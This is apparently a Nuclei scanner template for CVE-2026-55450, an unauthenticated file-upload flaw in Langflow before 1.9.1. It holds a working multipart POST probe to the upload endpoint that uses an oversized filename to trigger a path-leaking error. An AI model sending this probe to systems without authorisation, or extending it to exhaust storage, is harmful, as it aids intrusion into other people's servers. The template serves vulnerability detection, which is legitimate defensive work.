CVE-2026-55450: Langflow < 1.9.1 - Unauthenticated File Upload

id: CVE-2026-55450

info:
  name: Langflow < 1.9.1 - Unauthenticated File Upload
  author: xtr0nix
  severity: critical
  description: |
   Langflow < 1.9.1 contains an unrestricted file upload caused by lack of upload limitations, letting unauthenticated attackers exhaust server space and leak absolute file paths, exploit requires network access.
  impact: |
    Unauthenticated attackers can exhaust server storage and gain information about file paths, potentially aiding further attacks.
  remediation: |
    Update to version 1.9.1 or later.
  reference:
    - https://github.com/langflow-ai/langflow/security/advisories/GHSA-x223-p2gf-v735
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:H
    cvss-score: 9.3
    cve-id: CVE-2026-55450
    epss-score: 0.0119
    epss-percentile: 0.66376
    cwe-id: CWE-306,CWE-400,CWE-200
  metadata:
    verified: true
    max-request: 1
  tags: cve,cve2026,langflow,unauth,intrusive,vkev

http:
  - method: POST
    path:
      - "{{BaseURL}}/api/v1/upload/11111111-1111-1111-1111-111111111111"

    body: |
      --boundary
      Content-Disposition: form-data; name="file"; filename="x.{{repeat('a', 300)}}"
      Content-Type: text/plain

      probe
      --boundary--
    headers:
      Content-Type: multipart/form-data; boundary=boundary

    matchers:
      - type: dsl
        dsl:
          - status_code == 500
          - contains(body, "[Errno 36] File name too long")
          - contains(content_type, "application/json")
        condition: and
# digest: 490a00463044022027a07a71f1720b16d80627c48290606848b556f8ef8845dc9ac38ec8f9c0c3f4022038ede20473b7ddcc4e1352ff15fcfc356ce4a86ac002926cf6c3f680dac9632d:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.